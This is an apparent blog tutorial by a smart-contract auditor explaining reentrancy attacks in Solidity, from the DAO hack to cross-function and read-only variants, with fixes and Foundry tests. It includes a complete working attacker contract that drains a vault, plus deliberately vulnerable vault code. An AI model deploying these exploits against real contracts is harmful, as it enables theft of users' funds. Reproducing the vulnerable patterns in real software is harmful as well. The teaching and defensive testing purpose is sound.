Blockchain Security
Reentrancy Attacks Explained: How They Work and How to Prevent Them
TL;DR
Reentrancy is the single most exploited vulnerability in smart contract history. It drained $60 million from The DAO in 2016 and continues to appear in DeFi protocols today — including read-only variants that most developers do not even know exist. I check for reentrancy on every single blockchain security audit I perform, and I still find it in production code. This article walks you through how reentrancy actually works at the EVM level, shows you a complete working attack contract, and gives you three defense patterns that eliminate it. No theory. Working code you can deploy to a testnet right now.
The DAO Hack — Where It Started
On June 17, 2016, an attacker drained 3.6 million ETH (roughly $60 million at the time) from The DAO — a decentralized investment fund built on Ethereum. The attack was so devastating that the Ethereum community hard-forked the entire blockchain to reverse it, creating Ethereum (ETH) and Ethereum Classic (ETC) as separate chains.
The vulnerability was reentrancy. The DAO's withdraw function sent ETH to the caller before updating their balance. The attacker deployed a contract with a receive function that called withdraw again before the first call finished executing. The balance never updated between calls, so the attacker kept withdrawing the same funds over and over.
This was not a sophisticated zero-day exploit. It was a logic ordering bug. The contract did things in the wrong order: it sent money first, then updated the books. That single mistake cost $60 million and split a blockchain in two.
Eight years later, I still find this exact pattern in codebases I audit. The syntax has changed — Solidity has evolved significantly since 0.4.x — but the fundamental mistake remains the same. Developers update state after making external calls.
How Reentrancy Works — Step by Step
Reentrancy exploits the fact that when a smart contract sends ETH to another contract, the receiving contract's code executes before the sending contract's function finishes. Here is the exact sequence:
- User calls `withdraw()` on the vulnerable contract
- Contract checks the balance — user has 10 ETH deposited
- Contract sends 10 ETH to the user's address via
call{value: amount}("") - User's address is a contract — its
receive()function triggers automatically - Inside `receive()`, the attacker calls `withdraw()` again
- Contract checks the balance again — it is still 10 ETH because step 3 has not finished and the state was never updated
- Contract sends another 10 ETH
- Steps 5-7 repeat until the contract is drained or gas runs out
- Finally, the balance gets set to 0 — but only once, after all the ETH is already gone
The critical insight: Solidity's call function transfers execution control to the receiving contract. If that contract calls back into the original function, the original function's state has not been updated yet. The balance check passes every time because the state change (setting balance to zero) happens after the external call.
This is not unique to ETH transfers. Any external call — call, delegatecall, or even a token transfer that triggers a callback (like ERC-777 or ERC-1155) — can be a reentrancy vector.
The Vulnerable Code
Here is a minimal vault contract with a textbook reentrancy vulnerability. This is functionally identical to what The DAO had:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
contract VulnerableVault {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
// VULNERABLE: External call BEFORE state update
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// This line executes AFTER the attacker has already re-entered
balances[msg.sender] = 0;
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}The bug is on lines 14-15 versus line 18. The contract sends ETH on line 14 and updates the balance on line 18. Between those two lines, the attacker's contract executes and calls withdraw() again. Since balances[msg.sender] is still the original value, the require on line 12 passes every time.
The Attack Contract
Here is a complete, working attack contract. You can deploy this on a testnet alongside the vulnerable vault to see the exploit in action:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
interface IVulnerableVault {
function deposit() external payable;
function withdraw() external;
function getBalance() external view returns (uint256);
}
contract ReentrancyAttacker {
IVulnerableVault public immutable vault;
address public immutable owner;
uint256 public attackCount;
constructor(address _vault) {
vault = IVulnerableVault(_vault);
owner = msg.sender;
}
/// @notice Deposits seed funds and triggers the attack
function attack() external payable {
require(msg.sender == owner, "Not owner");
require(msg.value >= 1 ether, "Need at least 1 ETH");
// Step 1: Deposit seed funds to establish a balance
vault.deposit{value: msg.value}();
// Step 2: Trigger the first withdrawal — this starts the loop
vault.withdraw();
}
/// @notice Called automatically when the vault sends ETH
receive() external payable {
attackCount++;
// Keep re-entering until the vault is drained
if (address(vault).balance >= 1 ether) {
vault.withdraw();
}
}
/// @notice Withdraw stolen funds to the attacker's EOA
function collectLoot() external {
require(msg.sender == owner, "Not owner");
(bool success, ) = owner.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}Here is what happens when attack() is called with 1 ETH, assuming the vault holds 10 ETH from other users:
- Attacker deposits 1 ETH into the vault
- Attacker calls
withdraw()— vault sends 1 ETH back receive()fires,attackCountbecomes 1, vault still has 10 ETH, sowithdraw()is called again- Vault checks
balances[attacker]— still 1 ETH (never updated) — sends another 1 ETH - This repeats 10 times until the vault has less than 1 ETH remaining
- The attacker ends up with 11 ETH (1 ETH seed + 10 ETH stolen)
The attacker invested 1 ETH and walked away with 11 ETH. Every other depositor lost their funds.
Fix 1 — Checks-Effects-Interactions Pattern
The Checks-Effects-Interactions (CEI) pattern is the primary defense against reentrancy. The rule is simple: structure every function in this exact order:
- Checks — Validate all conditions (
requirestatements) - Effects — Update all state variables
- Interactions — Make external calls (transfers, contract calls)
Here is the vault fixed with CEI:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
contract SecureVaultCEI {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
// CHECK: Validate conditions
require(amount > 0, "No balance");
// EFFECT: Update state BEFORE the external call
balances[msg.sender] = 0;
// INTERACTION: External call AFTER state is updated
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}Now when the attacker's receive() function calls withdraw() again, balances[msg.sender] is already 0. The require(amount > 0) check fails immediately and the re-entrant call reverts.
CEI is not optional. It is the minimum standard. Every function that makes an external call must follow this pattern. I fail audits for CEI violations regardless of whether a practical exploit path exists, because the next code change might create one.
Fix 2 — ReentrancyGuard
CEI works when your function is simple and self-contained. But in complex protocols with multiple functions that share state, CEI alone is not always sufficient. That is where OpenZeppelin's ReentrancyGuard comes in:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
import {ReentrancyGuard} from "@openzeppelin/contracts/utils/ReentrancyGuard.sol";
contract SecureVaultGuarded is ReentrancyGuard {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
// Even with CEI, we add the guard as defense-in-depth
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
function withdrawPartial(uint256 amount) external nonReentrant {
require(balances[msg.sender] >= amount, "Insufficient balance");
balances[msg.sender] -= amount;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}ReentrancyGuard uses a storage variable as a mutex lock. When a function marked nonReentrant is called, it sets the lock. If any function with nonReentrant is called again before the first call finishes, the transaction reverts. This protects against both single-function and cross-function reentrancy.
The gas cost is roughly 2,600 gas for the first call in a transaction (cold SLOAD + SSTORE) and 200 gas for subsequent calls (warm SLOAD). That is a negligible cost for the protection it provides.
I use both CEI and ReentrancyGuard together on every audit recommendation. CEI prevents reentrancy by design. ReentrancyGuard prevents it by enforcement. Belt and suspenders.
Cross-Function Reentrancy
The classic reentrancy example involves re-entering the same function. But cross-function reentrancy is far more dangerous because it is harder to spot. It happens when two different functions share state, and an attacker re-enters through the second function during an external call in the first.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
contract CrossFunctionVulnerable {
mapping(address => uint256) public balances;
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] = 0;
}
/// @notice Transfer balance to another user
function transfer(address to, uint256 amount) external {
require(balances[msg.sender] >= amount, "Insufficient");
balances[msg.sender] -= amount;
balances[to] += amount;
}
}The attack: the attacker calls withdraw(). During the external call, instead of re-entering withdraw(), the attacker's receive() calls transfer() to move their balance to a second address. The balance has not been zeroed yet, so the transfer succeeds. Now the attacker has both the withdrawn ETH and the transferred balance sitting on a second address, which can be withdrawn separately.
This is why ReentrancyGuard with nonReentrant on all state-modifying functions is essential in any contract with shared state. CEI on withdraw() alone would fix the single-function case, but you also need to prevent re-entry into transfer() during the external call.
Read-Only Reentrancy
Read-only reentrancy is the newest variant, and it is the one I see most teams miss entirely. It does not involve re-entering a write function — it exploits view functions that return stale state during a reentrant call.
Here is the scenario. Protocol A has a vault with a getSharePrice() view function. Protocol B uses that share price as an oracle for lending decisions. During a deposit or withdrawal in Protocol A, there is a moment where the ETH has moved but the share accounting has not updated yet. If the attacker triggers a callback during that window and Protocol B reads the share price, it gets a manipulated value.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
/// @notice Protocol A — Vulnerable to read-only reentrancy
contract VulnerablePool {
uint256 public totalShares;
uint256 public totalAssets;
mapping(address => uint256) public shares;
function deposit() external payable {
uint256 sharesToMint = (totalShares == 0)
? msg.value
: (msg.value * totalShares) / totalAssets;
shares[msg.sender] += sharesToMint;
totalShares += sharesToMint;
totalAssets += msg.value;
}
function withdraw(uint256 shareAmount) external {
uint256 assetAmount = (shareAmount * totalAssets) / totalShares;
shares[msg.sender] -= shareAmount;
totalShares -= shareAmount;
// State is updated BUT totalAssets has not been reduced yet
// During this call, getSharePrice() returns an inflated value
(bool success, ) = msg.sender.call{value: assetAmount}("");
require(success, "Transfer failed");
// totalAssets is updated AFTER the external call
totalAssets -= assetAmount;
}
/// @notice This view function returns a stale value during reentrancy
function getSharePrice() external view returns (uint256) {
if (totalShares == 0) return 1e18;
return (totalAssets * 1e18) / totalShares;
}
}During the withdraw() external call:
totalShareshas been decreased (shares were burned)totalAssetshas NOT been decreased yet (that line comes after the call)getSharePrice()=totalAssets / totalShares= inflated value
An attacker can use this inflated price to borrow more than they should from Protocol B, or to manipulate any protocol that reads getSharePrice() as a pricing oracle.
The fix: update totalAssets before the external call (CEI), and add nonReentrant to withdraw(). For protocols that depend on external share price feeds, add a reentrancy check — call a nonReentrant function on the pool before trusting the price. If the pool is in a reentrant state, that call will revert, and you know the price is stale.
Testing for Reentrancy with Foundry
Every reentrancy vulnerability should be caught by automated tests before it ever reaches an auditor. Foundry makes this straightforward. Here is a complete test file that proves both the vulnerability and the fix:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.24;
import {Test, console} from "forge-std/Test.sol";
// ═══════════════════════════════════════════════════════════
// Vulnerable Vault
// ═══════════════════════════════════════════════════════════
contract VulnerableVault {
mapping(address => uint256) public balances;
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] = 0;
}
}
// ═══════════════════════════════════════════════════════════
// Secure Vault (CEI + ReentrancyGuard)
// ═══════════════════════════════════════════════════════════
contract SecureVault {
mapping(address => uint256) public balances;
uint256 private _locked = 1;
modifier nonReentrant() {
require(_locked == 1, "ReentrancyGuard: reentrant call");
_locked = 2;
_;
_locked = 1;
}
function deposit() external payable {
balances[msg.sender] += msg.value;
}
function withdraw() external nonReentrant {
uint256 amount = balances[msg.sender];
require(amount > 0, "No balance");
balances[msg.sender] = 0;
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
}
}
// ═══════════════════════════════════════════════════════════
// Attacker Contract
// ═══════════════════════════════════════════════════════════
contract Attacker {
VulnerableVault public vault;
uint256 public attackCount;
constructor(VulnerableVault _vault) {
vault = _vault;
}
function attack() external payable {
vault.deposit{value: msg.value}();
vault.withdraw();
}
receive() external payable {
attackCount++;
if (address(vault).balance >= 1 ether) {
vault.withdraw();
}
}
}
// ═══════════════════════════════════════════════════════════
// Attacker targeting SecureVault (will fail)
// ═══════════════════════════════════════════════════════════
contract AttackerSecure {
SecureVault public vault;
constructor(SecureVault _vault) {
vault = _vault;
}
function attack() external payable {
vault.deposit{value: msg.value}();
vault.withdraw();
}
receive() external payable {
if (address(vault).balance >= 1 ether) {
vault.withdraw();
}
}
}
// ═══════════════════════════════════════════════════════════
// Test Suite
// ═══════════════════════════════════════════════════════════
contract ReentrancyTest is Test {
VulnerableVault public vulnerableVault;
SecureVault public secureVault;
address public victim = makeAddr("victim");
function setUp() public {
vulnerableVault = new VulnerableVault();
secureVault = new SecureVault();
// Victim deposits 10 ETH into both vaults
vm.deal(victim, 20 ether);
vm.startPrank(victim);
vulnerableVault.deposit{value: 10 ether}();
secureVault.deposit{value: 10 ether}();
vm.stopPrank();
}
function test_reentrancyAttack_drainsVulnerableVault() public {
Attacker attacker = new Attacker(vulnerableVault);
vm.deal(address(attacker), 1 ether);
uint256 vaultBalanceBefore = address(vulnerableVault).balance;
assertEq(vaultBalanceBefore, 10 ether);
// Execute the attack
vm.prank(address(attacker));
attacker.attack{value: 1 ether}();
// Vault is drained
uint256 vaultBalanceAfter = address(vulnerableVault).balance;
assertEq(vaultBalanceAfter, 0);
// Attacker has all the funds (seed + stolen)
assertEq(address(attacker).balance, 11 ether);
console.log("Attack count (re-entries):", attacker.attackCount());
console.log("Vault drained from", vaultBalanceBefore, "to", vaultBalanceAfter);
}
function test_reentrancyAttack_failsOnSecureVault() public {
AttackerSecure attacker = new AttackerSecure(secureVault);
vm.deal(address(attacker), 1 ether);
vm.prank(address(attacker));
attacker.attack{value: 1 ether}();
// Vault still has the victim's 10 ETH
assertEq(address(secureVault).balance, 10 ether);
// Attacker only got their own 1 ETH back
assertEq(address(attacker).balance, 1 ether);
}
/// @notice Fuzz test — no amount should allow draining more than deposited
function testFuzz_secureVault_noDrain(uint96 depositAmount) public {
vm.assume(depositAmount > 0.01 ether);
vm.assume(depositAmount < 100 ether);
SecureVault vault = new SecureVault();
// Victim deposits
vm.deal(victim, depositAmount);
vm.prank(victim);
vault.deposit{value: depositAmount}();
// Attacker deposits and withdraws
address fuzzer = makeAddr("fuzzer");
uint256 attackSeed = depositAmount / 10;
vm.deal(fuzzer, attackSeed);
vm.startPrank(fuzzer);
vault.deposit{value: attackSeed}();
vault.withdraw();
vm.stopPrank();
// Vault must still hold the victim's funds
assertGe(address(vault).balance, depositAmount);
}
}Run the tests:
forge test --match-contract ReentrancyTest -vvvThe first test proves the vulnerable vault gets drained. The second test proves the secure vault resists the same attack. The fuzz test throws random deposit amounts at the secure vault and verifies that no amount allows draining more than what was deposited.
I run a variant of this fuzz test on every contract I audit. If a contract holds user funds and makes external calls, it gets a reentrancy fuzz test. No exceptions.
My Audit Checklist for Reentrancy
After auditing over 30 smart contract systems, I have developed a specific checklist I run for reentrancy on every engagement. Here is the exact process:
1. Map all external calls
I search the entire codebase for call, delegatecall, transfer, send, and any token transfer functions (safeTransferFrom, transfer). Each one is a potential reentrancy entry point. I mark them on a call graph.
2. Check state changes around external calls
For every external call, I look at what state changes happen before and after. If any state change happens after an external call, that is a finding. Period. Even if I cannot construct a viable exploit today, the next upgrade might create one.
3. Look for cross-function shared state
I identify all storage variables that are read or written by multiple functions. If any of those functions make external calls, I check whether the nonReentrant modifier is applied to all of them — not just the one with the external call.
4. Check for callback tokens
ERC-777 tokens have tokensReceived hooks. ERC-1155 tokens have onERC1155Received hooks. ERC-721 tokens have onERC721Received hooks. If the protocol interacts with arbitrary tokens, I verify that reentrancy guards are in place for all functions that handle token transfers. I have seen protocols that guard ETH transfers perfectly but leave ERC-777 token transfers wide open.
5. Check view functions for read-only reentrancy
If the protocol exposes any view function that is used as a price oracle or data feed by other protocols, I check whether those view functions return consistent values during external calls. If the state is partially updated, the view function returns a stale or manipulated value.
6. Verify ReentrancyGuard is on ALL state-modifying functions
Not just the ones with external calls. Cross-function reentrancy means an attacker re-enters through a different function. The guard needs to cover every entry point.
7. Test with a malicious receiver
I deploy an attacker contract in the test suite that attempts reentrancy on every external call surface. This is automated — I have templates for ETH reentrancy, ERC-777 reentrancy, ERC-1155 reentrancy, and flash loan reentrancy.
8. Run Slither static analysis
Slither catches most basic reentrancy patterns automatically. I run slither . --detect reentrancy-eth,reentrancy-no-eth,reentrancy-benign,reentrancy-events and review every finding. Even "benign" reentrancy findings get documented because they indicate sloppy state ordering.
Key Takeaways
- Reentrancy is a state ordering bug. The contract sends funds before updating its books. The fix is always the same: update state first, then make external calls.
- CEI (Checks-Effects-Interactions) is the minimum standard. Every function that makes an external call must follow this pattern. No exceptions.
- ReentrancyGuard is defense-in-depth. Use it alongside CEI, not instead of it. Apply
nonReentrantto all state-modifying functions, not just the ones with obvious external calls. - Cross-function reentrancy is the real threat. Single-function reentrancy is easy to spot. The dangerous cases involve shared state across multiple functions where the attacker re-enters through a different path.
- Read-only reentrancy targets view functions. If your contract exposes pricing or share data that other protocols consume, you need to ensure those values are consistent during external calls.
- Test with attacker contracts. Do not rely on unit tests that only call functions from EOAs. Deploy malicious contracts that attempt reentrancy and prove your defenses hold.
- Fuzz test invariants. The invariant is simple: no user should be able to extract more value than they deposited. Foundry fuzz tests should verify this with thousands of random inputs.
About the Author
I am Uvin Vindula (@IAMUVIN↗), a Web3 engineer and security auditor based between Sri Lanka and the UK. I have audited over 30 smart contract systems across DeFi lending protocols, AMMs, staking platforms, and NFT marketplaces. Reentrancy is the first thing I check on every engagement because it is still the most common critical vulnerability I find in production code.
I offer comprehensive blockchain security audits ranging from $10,000 to $25,000 depending on codebase size and protocol complexity. Every audit includes reentrancy analysis across all the variants covered in this article — single-function, cross-function, read-only, and callback-token reentrancy.
If you are preparing for a mainnet deployment and want a thorough security review, check out my audit services or reach out at contact@uvin.lk↗. Do not deploy without an audit. The DAO learned that lesson for all of us.
Working on a Web3 or AI project?

Uvin Vindula
Web3 and AI engineer based in Sri Lanka and the UK. Author of The Rise of Bitcoin. Director of Blockchain and Software Solutions at Terra Labz. Founder of uvin.lk — Sri Lanka's Bitcoin education platform with 10,000+ learners.